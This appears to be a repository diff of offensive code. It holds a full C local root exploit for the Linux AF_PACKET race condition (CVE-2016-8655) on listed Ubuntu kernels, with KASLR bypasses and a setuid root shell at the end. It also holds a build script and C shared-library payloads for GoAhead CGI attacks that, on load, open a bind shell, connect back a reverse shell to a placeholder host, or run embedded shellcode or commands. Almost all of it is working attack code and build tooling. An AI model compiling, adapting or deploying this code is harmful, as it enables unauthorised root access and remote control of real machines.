11/2016
by rebel
---
Updated by <bcoles@gmail.com>
- check number of CPU cores
- KASLR bypasses
- additional kernel targets
https://github.com/bcoles/kernel-exploits/tree/cve-2016-8655
*/
#define _GNU_SOURCE
#include <fcntl.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/klog.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/sysinfo.h>
#include <sys/utsname.h>
#include <sys/wait.h>
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <linux/sched.h>
#include <netinet/tcp.h>
#include <netinet/if_ether.h>
#define DEBUG
#ifdef DEBUG
# define dprintf printf
#else
# define dprintf
#endif
#define ENABLE_KASLR_BYPASS 1
// Will be overwritten if ENABLE_KASLR_BYPASS
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
// Will be overwritten by detect_versions()
int kernel = -1;
// New sysctl path
const char *SYSCTL_NAME = "hack";
const char *SYSCTL_PATH = "/proc/sys/hack";
volatile int barrier = 1;
volatile int vers_switcher_done = 0;
struct kernel_info {
char *kernel_version;
unsigned long proc_dostring;
unsigned long modprobe_path;
unsigned long register_sysctl_table;
unsigned long set_memory_rw;
};
struct kernel_info kernels[] = {
{ "4.4.0-21-generic #37~14.04.1-Ubuntu", 0x084220, 0xc4b000, 0x273a30, 0x06b9d0 },
{ "4.4.0-22-generic #40~14.04.1-Ubuntu", 0x084250, 0xc4b080, 0x273de0, 0x06b9d0 },
{ "4.4.0-24-generic #43~14.04.1-Ubuntu", 0x084120, 0xc4b080, 0x2736f0, 0x06b880 },
{ "4.4.0-28-generic #47~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273b70, 0x06b880 },
{ "4.4.0-31-generic #50~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273c20, 0x06b880 },
{ "4.4.0-34-generic #53~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273c40, 0x06b880 },
{ "4.4.0-36-generic #55~14.04.1-Ubuntu", 0x084160, 0xc4b100, 0x273c60, 0x06b890 },
{ "4.4.0-38-generic #57~14.04.1-Ubuntu", 0x084210, 0xe4b100, 0x2742e0, 0x06b890 },
{ "4.4.0-42-generic #62~14.04.1-Ubuntu", 0x084260, 0xe4b100, 0x274300, 0x06b880 },
{ "4.4.0-45-generic #66~14.04.1-Ubuntu", 0x084260, 0xe4b100, 0x274340, 0x06b880 },
//{"4.4.0-46-generic #67~14.04.1-Ubuntu",0x0842f0,0xe4b100,0x274580,0x06b880},
{ "4.4.0-47-generic #68~14.04.1-Ubuntu", 0x0842f0, 0xe4b100, 0x274580, 0x06b880 },
//{"4.4.0-49-generic #70~14.04.1-Ubuntu",0x084350,0xe4b100,0x274b10,0x06b880},
{ "4.4.0-51-generic #72~14.04.1-Ubuntu", 0x084350, 0xe4b100, 0x274750, 0x06b880 },
{ "4.4.0-21-generic #37-Ubuntu", 0x087cf0, 0xe48e80, 0x286310, 0x06f370 },
{ "4.4.0-22-generic #40-Ubuntu", 0x087d40, 0xe48f00, 0x2864d0, 0x06f370 },
{ "4.4.0-24-generic #43-Ubuntu", 0x087e60, 0xe48f00, 0x2868f0, 0x06f370 },
{ "4.4.0-28-generic #47-Ubuntu", 0x087ea0, 0xe48f80, 0x286df0, 0x06f370 },
{ "4.4.0-31-generic #50-Ubuntu", 0x087ea0, 0xe48f80, 0x286e90, 0x06f370 },
{ "4.4.0-34-generic #53-Ubuntu", 0x087ea0, 0xe48f80, 0x286ed0, 0x06f370 },
{ "4.4.0-36-generic #55-Ubuntu", 0x087ea0, 0xe48f80, 0x286e50, 0x06f360 },
{ "4.4.0-38-generic #57-Ubuntu", 0x087f70, 0xe48f80, 0x287470, 0x06f360 },
{ "4.4.0-42-generic #62-Ubuntu", 0x087fc0, 0xe48f80, 0x2874a0, 0x06f320 },
{ "4.4.0-43-generic #63-Ubuntu", 0x087fc0, 0xe48f80, 0x2874b0, 0x06f320 },
{ "4.4.0-45-generic #66-Ubuntu", 0x087fc0, 0xe48f80, 0x2874c0, 0x06f320 },
//{"4.4.0-46-generic #67-Ubuntu",0x088040,0xe48f80,0x287800,0x06f320},
{ "4.4.0-47-generic #68-Ubuntu", 0x088040, 0xe48f80, 0x287800, 0x06f320 },
//{"4.4.0-49-generic #70-Ubuntu",0x088090,0xe48f80,0x287d40,0x06f320},
{ "4.4.0-51-generic #72-Ubuntu", 0x088090, 0xe48f80, 0x2879a0, 0x06f320},
};
#define VSYSCALL 0xffffffffff600000
#define PROC_DOSTRING (KERNEL_BASE + kernels[kernel].proc_dostring)
#define MODPROBE_PATH (KERNEL_BASE + kernels[kernel].modprobe_path)
#define REGISTER_SYSCTL_TABLE (KERNEL_BASE + kernels[kernel].register_sysctl_table)
#define SET_MEMORY_RW (KERNEL_BASE + kernels[kernel].set_memory_rw)
#define KMALLOC_PAD 64
int pad_fds[KMALLOC_PAD];
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
struct ctl_table {
const char *procname;
void *data;
int maxlen;
unsigned short mode;
struct ctl_table *child;
void *proc_handler;
void *poll;
void *extra1;
void *extra2;
};
#define CONF_RING_FRAMES 1
struct tpacket_req3 tp;
int sfd;
int mapped = 0;
struct timer_list {
void *next;
void *prev;
unsigned long expires;
void (*function)(unsigned long);
unsigned long data;
unsigned int flags;
int slack;
};
// * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * *
void *setsockopt_thread(void *arg)
{
while (barrier) {}
setsockopt(sfd, SOL_PACKET, PACKET_RX_RING, (void*) &tp, sizeof(tp));
return NULL;
}
void *vers_switcher(void *arg)
{
int val,x,y;
while (barrier) {}
while (1) {
val = TPACKET_V1;
x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
y++;
if (x != 0) break;
val = TPACKET_V3;
x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
if (x != 0) break;
y++;
}
dprintf("[.] version switcher stopping, x = %d (y = %d, last val = %d)\n",x,y,val);
vers_switcher_done = 1;
return NULL;
}
// * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * *
#define BUFSIZE 1408
char exploitbuf[BUFSIZE];
void kmalloc(void)
{
while(1)
syscall(__NR_add_key, "user", "wtf", exploitbuf, BUFSIZE - 24, -2);
}
void pad_kmalloc(void)
{
int x;
for (x = 0; x < KMALLOC_PAD; x++)
if (socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)) == -1) {
dprintf("[-] pad_kmalloc() socket error\n");
exit(EXIT_FAILURE);
}
}
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
int try_exploit(unsigned long func, unsigned long arg, void *verification_func)
{
pthread_t setsockopt_thread_thread,a;
int val;
socklen_t l;
struct timer_list *timer;
int fd;
struct tpacket_block_desc *pbd;
int off;
sigset_t set;
sigemptyset(&set);
sigaddset(&set, SIGSEGV);
if (pthread_sigmask(SIG_BLOCK, &set, NULL) != 0) {
dprintf("[-] couldn't set sigmask\n");
exit(1);
}
dprintf("[.] new exploit attempt starting, jumping to %p, arg=%p\n", (void *)func, (void *)arg);
pad_kmalloc();
fd = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
if (fd == -1) {
dprintf("[-] target socket error\n");
exit(1);
}
pad_kmalloc();
dprintf("[.] done, sockets allocated\n");
val = TPACKET_V3;
setsockopt(fd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
tp.tp_block_size = CONF_RING_FRAMES * getpagesize();
tp.tp_block_nr = 1;
tp.tp_frame_size = getpagesize();
tp.tp_frame_nr = CONF_RING_FRAMES;
// try to set the timeout to 10 seconds
// the default timeout might still be used though depending on when the race was won
tp.tp_retire_blk_tov = 10000;
sfd = fd;
if (pthread_create(&setsockopt_thread_thread, NULL, setsockopt_thread, (void *)NULL)) {
dprintf("[-] Error creating thread\n");
return 1;
}
pthread_create(&a, NULL, vers_switcher, (void *)NULL);
usleep(200000);
dprintf("[.] removing barrier and spraying...\n");
memset(exploitbuf, '\x00', BUFSIZE);
timer = (struct timer_list *)(exploitbuf+(0x6c*8)+6-8);
timer->next = 0;
timer->prev = 0;
timer->expires = 4294943360;
timer->function = (void *)func;
timer->data = arg;
timer->flags = 1;
timer->slack = -1;
barrier = 0;
usleep(100000);
while (!vers_switcher_done) usleep(100000);
l = sizeof(val);
getsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, &l);
dprintf("[.] current packet version = %d\n",val);
pbd = mmap(0, tp.tp_block_size * tp.tp_block_nr, PROT_READ | PROT_WRITE, MAP_SHARED, sfd, 0);
if (pbd == MAP_FAILED) {
dprintf("[-] could not map pbd\n");
exit(1);
} else {
off = pbd->hdr.bh1.offset_to_first_pkt;
dprintf("[.] pbd->hdr.bh1.offset_to_first_pkt = %d\n", off);
}
if (val == TPACKET_V1 && off != 0) {
dprintf("*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*\n");
} else {
dprintf("[-] race not won\n");
exit(2);
}
munmap(pbd, tp.tp_block_size * tp.tp_block_nr);
pthread_create(&a, NULL, verification_func, (void *)NULL);
dprintf("\n");
dprintf("[!] please wait up to a few minutes for timer to be executed.\n");
dprintf("[!] if you ctrl-c now the kernel will hang. so don't do that.\n");
dprintf("\n");
sleep(1);
dprintf("[.] closing socket and verifying...\n");
close(sfd);
kmalloc();
dprintf("[.] all messages sent\n");
sleep(31337);
exit(1);
}
int verification_result = 0;
void catch_sigsegv(int sig)
{
verification_result = 0;
pthread_exit((void *)1);
}
void *modify_vsyscall(void *arg)
{
unsigned long *vsyscall = (unsigned long *)(VSYSCALL+0x850);
unsigned long x = (unsigned long)arg;
sigset_t set;
sigemptyset(&set);
sigaddset(&set, SIGSEGV);
if (pthread_sigmask(SIG_UNBLOCK, &set, NULL) != 0) {
dprintf("[-] couldn't set sigmask\n");
exit(EXIT_FAILURE);
}
signal(SIGSEGV, catch_sigsegv);
*vsyscall = 0xdeadbeef+x;
if (*vsyscall == 0xdeadbeef+x) {
dprintf("[~] vsyscall page altered!\n");
verification_result = 1;
pthread_exit(0);
}
return NULL;
}
void verify_stage1(void)
{
pthread_t v_thread;
sleep(5);
int x;
for(x = 0; x < 300; x++) {
pthread_create(&v_thread, NULL, modify_vsyscall, 0);
pthread_join(v_thread, NULL);
if(verification_result == 1) {
exit(0);
}
write(2,".",1);
sleep(1);
}
dprintf("[-] could not modify vsyscall\n");
exit(EXIT_FAILURE);
}
void verify_stage2(void)
{
struct stat b;
sleep(5);
int x;
for(x = 0; x < 300; x++) {
if (stat(SYSCTL_PATH, &b) == 0) {
dprintf("[~] sysctl added!\n");
exit(0);
}
write(2,".",1);
sleep(1);
}
dprintf("[-] could not add sysctl\n");
exit(EXIT_FAILURE);
}
void exploit(unsigned long func, unsigned long arg, void *verification_func)
{
int status;
int pid;
retry:
pid = fork();
if (pid == 0) {
try_exploit(func, arg, verification_func);
exit(1);
}
wait(&status);
dprintf("\n");
if (WEXITSTATUS(status) == 2) {
dprintf("[.] retrying stage...\n");
kill(pid, 9);
sleep(2);
goto retry;
}
if (WEXITSTATUS(status) != 0) {
dprintf("[-] something bad happened, aborting exploit attempt\n");
exit(EXIT_FAILURE);
}
kill(pid, 9);
}
void wrapper(void)
{
struct ctl_table *c;
dprintf("[.] making vsyscall page writable...\n\n");
exploit(SET_MEMORY_RW, VSYSCALL, verify_stage1);
dprintf("[~] done, stage 1 completed\n");
sleep(5);
dprintf("[.] registering new sysctl...\n\n");
c = (struct ctl_table *)(VSYSCALL+0x850);
memset((char *)(VSYSCALL+0x850), '\x00', 1952);
strcpy((char *)(VSYSCALL+0xf00), SYSCTL_NAME);
memcpy((char *)(VSYSCALL+0xe00), "\x01\x00\x00\x00",4);
c->procname = (char *)(VSYSCALL+0xf00);
c->mode = 0666;
c->proc_handler = (void *)(PROC_DOSTRING);
c->data = (void *)(MODPROBE_PATH);
c->maxlen = 256;
c->extra1 = (void *)(VSYSCALL+0xe00);
c->extra2 = (void *)(VSYSCALL+0xd00);
exploit(REGISTER_SYSCTL_TABLE, VSYSCALL+0x850, verify_stage2);
dprintf("[~] done, stage 2 completed\n");
}
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
void check_procs() {
int min_procs = 2;
int nprocs = 0;
nprocs = get_nprocs_conf();
if (nprocs < min_procs) {
dprintf("[-] system has less than %d processor cores\n", min_procs);
exit(EXIT_FAILURE);
}
dprintf("[.] system has %d processor cores\n", nprocs);
}
struct utsname get_kernel_version() {
struct utsname u;
int rv = uname(&u);
if (rv != 0) {
dprintf("[-] uname())\n");
exit(EXIT_FAILURE);
}
return u;
}
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
void detect_versions() {
struct utsname u;
char kernel_version[512];
u = get_kernel_version();
if (strstr(u.machine, "64") == NULL) {
dprintf("[-] system is not using a 64-bit kernel\n");
exit(EXIT_FAILURE);
}
if (strstr(u.version, "-Ubuntu") == NULL) {
dprintf("[-] system is not using an Ubuntu kernel\n");
exit(EXIT_FAILURE);
}
char *u_ver = strtok(u.version, " ");
snprintf(kernel_version, 512, "%s %s", u.release, u_ver);
int i;
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
if (strcmp(kernel_version, kernels[i].kernel_version) == 0) {
dprintf("[.] kernel version '%s' detected\n", kernels[i].kernel_version);
kernel = i;
return;
}
}
dprintf("[-] kernel version not recognized\n");
exit(EXIT_FAILURE);
}
// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
#define SYSLOG_ACTION_READ_ALL 3
#define SYSLOG_ACTION_SIZE_BUFFER 10
bool mmap_syslog(char** buffer, int* size) {
*size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
if (*size == -1) {
dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n");
return false;
}
*size = (*size / getpagesize() + 1) * getpagesize();
*buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
*size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
if (*size == -1) {
dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n");
return false;
}
return true;
}
unsigned long get_kernel_addr_trusty(char* buffer, int size) {
const char* needle1 = "Freeing unused";
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
if (substr == NULL) return 0;
int start = 0;
int end = 0;
for (end = start; substr[end] != '-'; end++);
const char* needle2 = "ffffff";
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
if (substr == NULL) return 0;
char* endptr = &substr[16];
unsigned long r = strtoul(&substr[0], &endptr, 16);
r &= 0xffffffffff000000ul;
return r;
}
unsigned long get_kernel_addr_xenial(char* buffer, int size) {
const char* needle1 = "Freeing unused";
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
if (substr == NULL) {
return 0;
}
int start = 0;
int end = 0;
for (start = 0; substr[start] != '-'; start++);
for (end = start; substr[end] != '\n'; end++);
const char* needle2 = "ffffff";
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
if (substr == NULL) {
return 0;
}
char* endptr = &substr[16];
unsigned long r = strtoul(&substr[0], &endptr, 16);
r &= 0xfffffffffff00000ul;
r -= 0x1000000ul;
return r;
}
unsigned long get_kernel_addr_syslog() {
unsigned long addr = 0;
char* syslog;
int size;
dprintf("[.] trying syslog...\n");
if (!mmap_syslog(&syslog, &size))
return 0;
if (strstr(kernels[kernel].kernel_version, "14.04.1") != NULL)
addr = get_kernel_addr_trusty(syslog, size);
else
addr = get_kernel_addr_xenial(syslog, size);
if (!addr)
dprintf("[-] kernel base not found in syslog\n");
return addr;
}
// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *
unsigned long get_kernel_addr_kallsyms() {
FILE *f;
unsigned long addr = 0;
char dummy;
char sname[256];
char* name = "startup_64";
char* path = "/proc/kallsyms";
dprintf("[.] trying %s...\n", path);
f = fopen(path, "r");
if (f == NULL) {
dprintf("[-] open/read(%s)\n", path);
return 0;
}
int ret = 0;
while (ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fclose(f);
return addr;
}
}
fclose(f);
dprintf("[-] kernel base not found in %s\n", path);
return 0;
}
// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *
unsigned long get_kernel_addr_sysmap() {
FILE *f;
unsigned long addr = 0;
char path[512] = "/boot/System.map-";
char version[32];
struct utsname u;
u = get_kernel_version();
strcat(path, u.release);
dprintf("[.] trying %s...\n", path);
f = fopen(path, "r");
if (f == NULL) {
dprintf("[-] open/read(%s)\n", path);
return 0;
}
char dummy;
char sname[256];
char* name = "startup_64";
int ret = 0;
while (ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fclose(f);
return addr;
}
}
fclose(f);
dprintf("[-] kernel base not found in %s\n", path);
return 0;
}
// * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * *
unsigned long get_kernel_addr_mincore() {
unsigned char buf[getpagesize()/sizeof(unsigned char)];
unsigned long iterations = 20000000;
unsigned long addr = 0;
dprintf("[.] trying mincore info leak...\n");
/* A MAP_ANONYMOUS | MAP_HUGETLB mapping */
if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE,
MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) {
dprintf("[-] mmap()\n");
return 0;
}
int i;
for (i = 0; i <= iterations; i++) {
/* Touch a mishandle with this type mapping */
if (mincore((void*)0x86000000, 0x1000000, buf)) {
dprintf("[-] mincore()\n");
return 0;
}
int n;
for (n = 0; n < getpagesize()/sizeof(unsigned char); n++) {
addr = *(unsigned long*)(&buf[n]);
/* Kernel address space */
if (addr > 0xffffffff00000000) {
addr &= 0xffffffffff000000ul;
if (munmap((void*)0x66000000, 0x20000000000))
dprintf("[-] munmap()\n");
return addr;
}
}
}
if (munmap((void*)0x66000000, 0x20000000000))
dprintf("[-] munmap()\n");
dprintf("[-] kernel base not found in mincore info leak\n");
return 0;
}
// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *
unsigned long get_kernel_addr() {
unsigned long addr = 0;
addr = get_kernel_addr_kallsyms();
if (addr) return addr;
addr = get_kernel_addr_sysmap();
if (addr) return addr;
addr = get_kernel_addr_syslog();
if (addr) return addr;
addr = get_kernel_addr_mincore();
if (addr) return addr;
dprintf("[-] KASLR bypass failed\n");
exit(EXIT_FAILURE);
return 0;
}
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
void launch_rootshell(void)
{
int fd;
char buf[256];
struct stat s;
fd = open(SYSCTL_PATH, O_WRONLY);
if(fd == -1) {
dprintf("[-] could not open %s\n", SYSCTL_PATH);
exit(EXIT_FAILURE);
}
memset(buf, '\x00', 256);
readlink("/proc/self/exe", (char *)&buf, 256);
write(fd, buf, strlen(buf)+1);
socket(AF_INET, SOCK_STREAM, 132);
if (stat(buf,&s) == 0 && s.st_uid == 0) {
dprintf("[+] binary executed by kernel, launching rootshell\n");
lseek(fd, 0, SEEK_SET);
write(fd, "/sbin/modprobe", 15);
close(fd);
execl(buf, buf, NULL);
} else {
dprintf("[-] could not create rootshell\n");
exit(EXIT_FAILURE);
}
}
void setup_sandbox() {
if (unshare(CLONE_NEWUSER) != 0) {
dprintf("[-] unshare(CLONE_NEWUSER)\n");
exit(EXIT_FAILURE);
}
if (unshare(CLONE_NEWNET) != 0) {
dprintf("[-] unshare(CLONE_NEWNET)\n");
exit(EXIT_FAILURE);
}
}
int main(int argc, char **argv)
{
int status, pid;
struct utsname u;
char buf[512], *f;
if (getuid() == 0 && geteuid() == 0) {
chown("/proc/self/exe", 0, 0);
chmod("/proc/self/exe", 06755);
exit(0);
}
if (getuid() != 0 && geteuid() == 0) {
setresuid(0, 0, 0);
setresgid(0, 0, 0);
execl("/bin/bash", "bash", "-p", NULL);
exit(0);
}
dprintf("linux AF_PACKET race condition exploit by rebel\n");
dprintf("[.] starting\n");
dprintf("[.] checking hardware\n");
check_procs();
dprintf("[~] done, hardware looks good\n");
dprintf("[.] checking kernel version\n");
detect_versions();
dprintf("[~] done, version looks good\n");
#if ENABLE_KASLR_BYPASS
dprintf("[.] KASLR bypass enabled, getting kernel base address\n");
KERNEL_BASE = get_kernel_addr();
dprintf("[~] done, kernel text: %lx\n", KERNEL_BASE);
#endif
dprintf("[.] proc_dostring: %lx\n", PROC_DOSTRING);
dprintf("[.] modprobe_path: %lx\n", MODPROBE_PATH);
dprintf("[.] register_sysctl_table: %lx\n", REGISTER_SYSCTL_TABLE);
dprintf("[.] set_memory_rw: %lx\n", SET_MEMORY_RW);
pid = fork();
if (pid == 0) {
dprintf("[.] setting up namespace sandbox\n");
setup_sandbox();
dprintf("[~] done, namespace sandbox set up\n");
wrapper();
exit(0);
}
waitpid(pid, &status, 0);
launch_rootshell();
return 0;
}
+48
View File
@@ -0,0 +1,48 @@
#!/bin/bash
build () {
CC=$1
TARGET_SUFFIX=$2
CFLAGS=$3
echo "[*] Building for ${TARGET_SUFFIX}..."
for type in {shellcode,system,reverse,bind}
do ${CC} ${CFLAGS} -Wall -fPIC -fno-stack-protector -Os goahead-cgi-${type}.c -s -shared -o goahead-cgi-${type}-${TARGET_SUFFIX}.so
done
}
rm -f *.o *.so *.gz
#
# Linux GLIBC
#
# x86
build "gcc" "linux-glibc-x86_64" "-m64 -D OLD_LIB_SET_2"
build "gcc" "linux-glibc-x86" "-m32 -D OLD_LIB_SET_1"
# ARM
build "arm-linux-gnueabi-gcc-5" "linux-glibc-armel" "-march=armv5 -mlittle-endian"
build "arm-linux-gnueabihf-gcc-5" "linux-glibc-armhf" "-march=armv7 -mlittle-endian"
build "aarch64-linux-gnu-gcc-4.9" "linux-glibc-aarch64" ""
# MIPS
build "mips-linux-gnu-gcc-5" "linux-glibc-mips" "-D OLD_LIB_SET_1"
build "mipsel-linux-gnu-gcc-5" "linux-glibc-mipsel" "-D OLD_LIB_SET_1"
build "mips64-linux-gnuabi64-gcc-5" "linux-glibc-mips64" "-D OLD_LIB_SET_1"
build "mips64el-linux-gnuabi64-gcc-5" "linux-glibc-mips64el" "-D OLD_LIB_SET_1"
# SPARC
build "sparc64-linux-gnu-gcc-5" "linux-glibc-sparc64" ""
build "sparc64-linux-gnu-gcc-5" "linux-glibc-sparc" "-m32 -D OLD_LIB_SET_1"
# PowerPC
build "powerpc-linux-gnu-gcc-5" "linux-glibc-powerpc" "-D OLD_LIB_SET_1"
build "powerpc64-linux-gnu-gcc-5" "linux-glibc-powerpc64" ""
build "powerpc64le-linux-gnu-gcc-4.9" "linux-glibc-powerpc64le" ""
# S390X
build "s390x-linux-gnu-gcc-5" "linux-glibc-s390x" ""
gzip -9 *.so
rm -f *.o *.so
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,96 @@
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#ifdef OLD_LIB_SET_1
__asm__(".symver system,system@GLIBC_2.0");
__asm__(".symver fork,fork@GLIBC_2.0");
#endif
#ifdef OLD_LIB_SET_2
__asm__(".symver system,system@GLIBC_2.2.5");
__asm__(".symver fork,fork@GLIBC_2.2.5");
#endif
static void _bind_tcp_shell(void) {
int sfd, fd, i;
struct sockaddr_in addr,saddr;
unsigned int saddr_len = sizeof(struct sockaddr_in);
char *lport = "55555";
char *shells[] = {
"/bin/bash",
"/usr/bin/bash",
"/bin/sh",
"/usr/bin/sh",
"/bin/ash",
"/usr/bin/ash",
"/bin/dash",
"/usr/bin/dash",
"/bin/csh",
"/usr/bin/csh",
"/bin/ksh",
"/usr/bin/ksh",
"/bin/busybox",
"/usr/bin/busybox",
NULL
};
sfd = socket(AF_INET, SOCK_STREAM, 0);
setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &(int){ 1 }, sizeof(int));
saddr.sin_family = AF_INET;
saddr.sin_port = htons(atoi(lport));
saddr.sin_addr.s_addr = INADDR_ANY;
bzero(&saddr.sin_zero, 8);
if (bind(sfd, (struct sockaddr *) &saddr, saddr_len) == -1) {
exit(1);
}
if (listen(sfd, 5) == -1) {
close(sfd);
exit(1);
}
fd = accept(sfd, (struct sockaddr *) &addr, &saddr_len);
close(sfd);
if (fd == -1) {
exit(1);
}
for (i=0; i<3; i++) {
dup2(fd, i);
}
/* Keep trying until execl() succeeds */
for (i=0; ; i++) {
if (shells[i] == NULL) break;
execl(shells[i], "sh", NULL);
}
/* Close the connection if we failed to find a shell */
close(fd);
}
static void _run_payload_(void) __attribute__((constructor));
static void _run_payload_(void)
{
unsetenv("LD_PRELOAD");
if (! fork())
_bind_tcp_shell();
exit(0);
}
@@ -0,0 +1,84 @@
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#ifdef OLD_LIB_SET_1
__asm__(".symver system,system@GLIBC_2.0");
__asm__(".symver fork,fork@GLIBC_2.0");
#endif
#ifdef OLD_LIB_SET_2
__asm__(".symver system,system@GLIBC_2.2.5");
__asm__(".symver fork,fork@GLIBC_2.2.5");
#endif
static void _reverse_tcp_shell(void) {
int fd, i;
struct sockaddr_in addr;
char *lport = "55555";
char *lhost = "000.000.000.000";
char *shells[] = {
"/bin/bash",
"/usr/bin/bash",
"/bin/sh",
"/usr/bin/sh",
"/bin/ash",
"/usr/bin/ash",
"/bin/dash",
"/usr/bin/dash",
"/bin/csh",
"/usr/bin/csh",
"/bin/ksh",
"/usr/bin/ksh",
"/bin/busybox",
"/usr/bin/busybox",
NULL
};
fd = socket(PF_INET, SOCK_STREAM, 0);
addr.sin_port = htons(atoi(lport));
addr.sin_addr.s_addr = inet_addr(lhost);
addr.sin_family = AF_INET;
memset(addr.sin_zero, 0, sizeof(addr.sin_zero));
for (i=0; i<10; i++) {
if (! connect(fd, (struct sockaddr *)&addr, sizeof(struct sockaddr))) {
break;
}
}
for (i=0; i<3; i++) {
dup2(fd, i);
}
/* Keep trying until execl() succeeds */
for (i=0; ; i++) {
if (shells[i] == NULL) break;
execl(shells[i], "sh", NULL);
}
/* Close the connection if we failed to find a shell */
close(fd);
}
static void _run_payload_(void) __attribute__((constructor));
static void _run_payload_(void)
{
unsetenv("LD_PRELOAD");
if (! fork())
_reverse_tcp_shell();
exit(0);
}
@@ -0,0 +1,44 @@
#include <stdio.h>
#include <stdbool.h>
#include <unistd.h>
#include <sys/mman.h>
#include <string.h>
#include <signal.h>
#include <stdlib.h>
#ifdef OLD_LIB_SET_1
__asm__(".symver mmap,mmap@GLIBC_2.0");
__asm__(".symver memcpy,memcpy@GLIBC_2.0");
__asm__(".symver fork,fork@GLIBC_2.0");
#endif
#ifdef OLD_LIB_SET_2
__asm__(".symver mmap,mmap@GLIBC_2.2.5");
__asm__(".symver memcpy,memcpy@GLIBC_2.2.5");
__asm__(".symver fork,fork@GLIBC_2.2.5");
#endif
#define PAYLOAD_SIZE 5000
unsigned char payload[PAYLOAD_SIZE] = {'P','A','Y','L','O','A','D',0};
static void _run_payload_(void) __attribute__((constructor));
static void _run_payload_(void)
{
void *mem;
void (*fn)();
unsetenv("LD_PRELOAD");
mem = mmap(NULL, PAYLOAD_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
if (mem == MAP_FAILED)
return;
memcpy(mem, payload, PAYLOAD_SIZE);
fn = (void(*)())mem;
if (! fork())
fn();
exit(0);
}
@@ -0,0 +1,32 @@
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <unistd.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
#ifdef OLD_LIB_SET_1
__asm__(".symver system,system@GLIBC_2.0");
__asm__(".symver fork,fork@GLIBC_2.0");
#endif
#ifdef OLD_LIB_SET_2
__asm__(".symver system,system@GLIBC_2.2.5");
__asm__(".symver fork,fork@GLIBC_2.2.5");
#endif
#define PAYLOAD_SIZE 5000
unsigned char payload[PAYLOAD_SIZE] = {'P','A','Y','L','O','A','D',0};
static void _run_payload_(void) __attribute__((constructor));
static void _run_payload_(void)
{
int dummy = 0;
unsetenv("LD_PRELOAD");
if (! fork())
dummy = system((const char*)payload);
exit(dummy);
}
+21
View File
@@ -0,0 +1,21 @@
#!/bin/bash
# Assume x86_64 Ubuntu 16.04 base system
apt-get install build-essential \
gcc-5-multilib \
gcc-5-multilib-arm-linux-gnueabi \
gcc-5-multilib-arm-linux-gnueabihf \
gcc-5-multilib-mips-linux-gnu \
gcc-5-multilib-mips64-linux-gnuabi64 \
gcc-5-multilib-mips64el-linux-gnuabi64 \
gcc-5-multilib-mipsel-linux-gnu \
gcc-5-multilib-powerpc-linux-gnu \
gcc-5-multilib-powerpc64-linux-gnu \
gcc-5-multilib-s390x-linux-gnu \
gcc-5-multilib-sparc64-linux-gnu \
